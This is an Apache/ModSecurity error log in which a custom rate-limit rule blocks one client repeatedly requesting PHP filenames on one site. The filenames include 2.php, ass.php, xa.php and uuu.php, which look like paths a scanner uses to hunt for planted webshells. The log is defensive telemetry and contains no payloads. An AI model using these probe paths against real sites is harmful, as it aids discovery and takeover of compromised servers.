[Thu Apr 16 23:00:04.401026 2026] [:error] [pid 57538:tid 57604] [client 20.203.186.201:21556] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeD5dMuMaiEF5SVR2Bf8HAAAAII"]
[Thu Apr 16 23:00:05.056588 2026] [:error] [pid 57537:tid 57599] [client 20.203.186.201:62052] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aeD5dVVQRS8nm73ENAnMYwAAAFg"]
[Thu Apr 16 23:00:05.614566 2026] [:error] [pid 49094:tid 49106] [client 20.203.186.201:61036] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aeD5dTbDwvcXorHR_MwetAAAAUo"]
[Thu Apr 16 23:00:06.225480 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:35860] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aeD5dqMCQoTw7TsxWun-sgAAANg"]
[Thu Apr 16 23:00:07.020497 2026] [:error] [pid 57537:tid 57578] [client 20.203.186.201:47022] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "aeD5d1VQRS8nm73ENAnMZgAAAEM"]
[Thu Apr 16 23:00:07.639512 2026] [:error] [pid 57536:tid 57553] [client 20.203.186.201:62040] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aeD5dyQU4faGja6jpDutMQAAAAU"]
[Thu Apr 16 23:00:08.144761 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:46952] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aeD5eKMCQoTw7TsxWun-tgAAANc"]
[Thu Apr 16 23:00:08.630414 2026] [:error] [pid 49094:tid 49105] [client 20.203.186.201:25728] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aeD5eDbDwvcXorHR_MweuwAAAUk"]
[Thu Apr 16 23:00:09.136624 2026] [:error] [pid 57537:tid 57593] [client 20.203.186.201:40487] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "aeD5eVVQRS8nm73ENAnMZwAAAFI"]
[Thu Apr 16 23:00:09.674537 2026] [:error] [pid 57537:tid 57586] [client 20.203.186.201:46946] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aeD5eVVQRS8nm73ENAnMaAAAAEs"]
[Thu Apr 16 23:00:10.253722 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:46970] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aeD5eqMCQoTw7TsxWun-vAAAANI"]
[Thu Apr 16 23:00:10.845730 2026] [:error] [pid 57639:tid 57654] [client 20.203.186.201:46945] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aeD5eqMCQoTw7TsxWun-vwAAAMg"]
[Thu Apr 16 23:00:11.478636 2026] [:error] [pid 7880:tid 7906] [client 20.203.186.201:61023] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "aeD5e6aezm4fSGc0yULPpAAAAZU"]
[Thu Apr 16 23:00:12.062014 2026] [:error] [pid 57639:tid 57661] [client 20.203.186.201:62070] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aeD5fKMCQoTw7TsxWun-yQAAAM8"]
[Thu Apr 16 23:00:12.595036 2026] [:error] [pid 29603:tid 29619] [client 20.203.186.201:35897] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aeD5fFfGOR6fpTWUAzq0xQAAAQ4"]
[Thu Apr 16 23:00:13.134064 2026] [:error] [pid 57537:tid 57599] [client 20.203.186.201:61015] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aeD5fVVQRS8nm73ENAnMdAAAAFg"]
[Thu Apr 16 23:00:13.683534 2026] [:error] [pid 7880:tid 7896] [client 20.203.186.201:35869] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "aeD5faaezm4fSGc0yULPqgAAAYs"]
[Thu Apr 16 23:00:28.276417 2026] [:error] [pid 7880:tid 7906] [client 20.203.186.201:47038] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aeD5jKaezm4fSGc0yULPxAAAAZU"]
[Thu Apr 16 23:00:28.800703 2026] [:error] [pid 49094:tid 49102] [client 20.203.186.201:61046] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aeD5jDbDwvcXorHR_MwfBwAAAUY"]
[Thu Apr 16 23:00:29.368630 2026] [:error] [pid 49094:tid 49098] [client 20.203.186.201:62016] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aeD5jTbDwvcXorHR_MwfCQAAAUI"]
[Thu Apr 16 23:00:30.001055 2026] [:error] [pid 57536:tid 57567] [client 20.203.186.201:35847] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aeD5jiQU4faGja6jpDutaQAAABM"]
[Thu Apr 16 23:00:30.517129 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:46959] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeD5jqMCQoTw7TsxWun_IgAAAMQ"]
[Thu Apr 16 23:00:31.016583 2026] [:error] [pid 49094:tid 49116] [client 20.203.186.201:60996] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeD5jzbDwvcXorHR_MwfDgAAAVQ"]
[Thu Apr 16 23:00:31.581100 2026] [:error] [pid 29603:tid 29610] [client 20.203.186.201:40476] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeD5j1fGOR6fpTWUAzq01AAAAQU"]
[Thu Apr 16 23:00:32.120457 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:35890] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeD5kDbDwvcXorHR_MwfDwAAAUs"]
[Thu Apr 16 23:00:32.750078 2026] [:error] [pid 7880:tid 7898] [client 20.203.186.201:25781] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aeD5kKaezm4fSGc0yULP0gAAAY0"]
[Thu Apr 16 23:00:33.346555 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:35841] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aeD5kTbDwvcXorHR_MwfEgAAAUw"]
[Thu Apr 16 23:00:33.885137 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:35410] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aeD5kaMCQoTw7TsxWun_MwAAAMA"]
[Thu Apr 16 23:00:34.465373 2026] [:error] [pid 49094:tid 49099] [client 20.203.186.201:46918] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aeD5kjbDwvcXorHR_MwfFAAAAUM"]
[Thu Apr 16 23:00:35.078606 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:47006] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aeD5k6MCQoTw7TsxWun_OQAAAMY"]
[Thu Apr 16 23:00:35.763628 2026] [:error] [pid 49094:tid 49102] [client 20.203.186.201:60993] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aeD5kzbDwvcXorHR_MwfGgAAAUY"]
[Thu Apr 16 23:00:36.362220 2026] [:error] [pid 57639:tid 57654] [client 20.203.186.201:61010] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aeD5lKMCQoTw7TsxWun_PgAAAMg"]
[Thu Apr 16 23:00:37.016590 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:35400] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aeD5lTbDwvcXorHR_MwfJQAAAUs"]
[Thu Apr 16 23:00:37.580273 2026] [:error] [pid 57538:tid 57605] [client 20.203.186.201:35418] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeD5lcuMaiEF5SVR2Bf8OwAAAIM"]
[Thu Apr 16 23:00:38.342816 2026] [:error] [pid 49094:tid 49115] [client 20.203.186.201:41533] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeD5ljbDwvcXorHR_MwfNAAAAVM"]
[Thu Apr 16 23:00:38.911304 2026] [:error] [pid 57536:tid 57572] [client 20.203.186.201:40466] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeD5liQU4faGja6jpDutdQAAABg"]
[Thu Apr 16 23:00:39.419785 2026] [:error] [pid 57536:tid 57560] [client 20.203.186.201:35865] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeD5lyQU4faGja6jpDutdwAAAAw"]
[Thu Apr 16 23:00:40.273771 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:40481] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aeD5mKMCQoTw7TsxWun_SgAAAMc"]
[Thu Apr 16 23:00:40.876360 2026] [:error] [pid 49094:tid 49118] [client 20.203.186.201:46953] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aeD5mDbDwvcXorHR_MwfPwAAAVY"]
[Thu Apr 16 23:00:41.479471 2026] [:error] [pid 29603:tid 29615] [client 20.203.186.201:62018] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aeD5mVfGOR6fpTWUAzq04AAAAQo"]
[Thu Apr 16 23:00:42.266422 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:35872] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aeD5mqMCQoTw7TsxWun_TwAAAMw"]
[Thu Apr 16 23:00:42.896043 2026] [:error] [pid 57536:tid 57562] [client 20.203.186.201:41481] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeD5miQU4faGja6jpDutfgAAAA4"]
[Thu Apr 16 23:00:43.424320 2026] [:error] [pid 29603:tid 29616] [client 20.203.186.201:35891] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeD5m1fGOR6fpTWUAzq04gAAAQs"]
[Thu Apr 16 23:00:43.925348 2026] [:error] [pid 7880:tid 7898] [client 20.203.186.201:40508] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeD5m6aezm4fSGc0yULP4QAAAY0"]
[Thu Apr 16 23:00:44.547318 2026] [:error] [pid 57639:tid 57663] [client 20.203.186.201:41516] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeD5nKMCQoTw7TsxWun_VAAAANE"]
[Thu Apr 16 23:00:45.108252 2026] [:error] [pid 7880:tid 7906] [client 20.203.186.201:25743] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aeD5naaezm4fSGc0yULP5AAAAZU"]
[Thu Apr 16 23:00:45.617447 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:40484] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aeD5naMCQoTw7TsxWun_WAAAAMM"]
[Thu Apr 16 23:00:46.127228 2026] [:error] [pid 57639:tid 57651] [client 20.203.186.201:47001] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aeD5nqMCQoTw7TsxWun_WgAAAMU"]
[Thu Apr 16 23:00:46.689274 2026] [:error] [pid 57536:tid 57563] [client 20.203.186.201:46964] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aeD5niQU4faGja6jpDuthAAAAA8"]
[Thu Apr 16 23:00:47.280538 2026] [:error] [pid 7880:tid 7905] [client 20.203.186.201:40504] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD5n6aezm4fSGc0yULP6QAAAZQ"]
[Thu Apr 16 23:00:47.974337 2026] [:error] [pid 57639:tid 57661] [client 20.203.186.201:61006] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD5n6MCQoTw7TsxWun_YQAAAM8"]
[Thu Apr 16 23:00:48.646073 2026] [:error] [pid 49094:tid 49104] [client 20.203.186.201:40499] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD5oDbDwvcXorHR_MwfTwAAAUg"]
[Thu Apr 16 23:00:49.443879 2026] [:error] [pid 57639:tid 57666] [client 20.203.186.201:62046] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD5oaMCQoTw7TsxWun_ZAAAANQ"]
[Thu Apr 16 23:00:50.002765 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:61009] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aeD5ojbDwvcXorHR_MwfVQAAAVA"]
[Thu Apr 16 23:00:50.540212 2026] [:error] [pid 49094:tid 49106] [client 20.203.186.201:27157] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aeD5ojbDwvcXorHR_MwfWgAAAUo"]
[Thu Apr 16 23:00:51.151845 2026] [:error] [pid 57536:tid 57566] [client 20.203.186.201:35854] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aeD5oyQU4faGja6jpDutjwAAABI"]
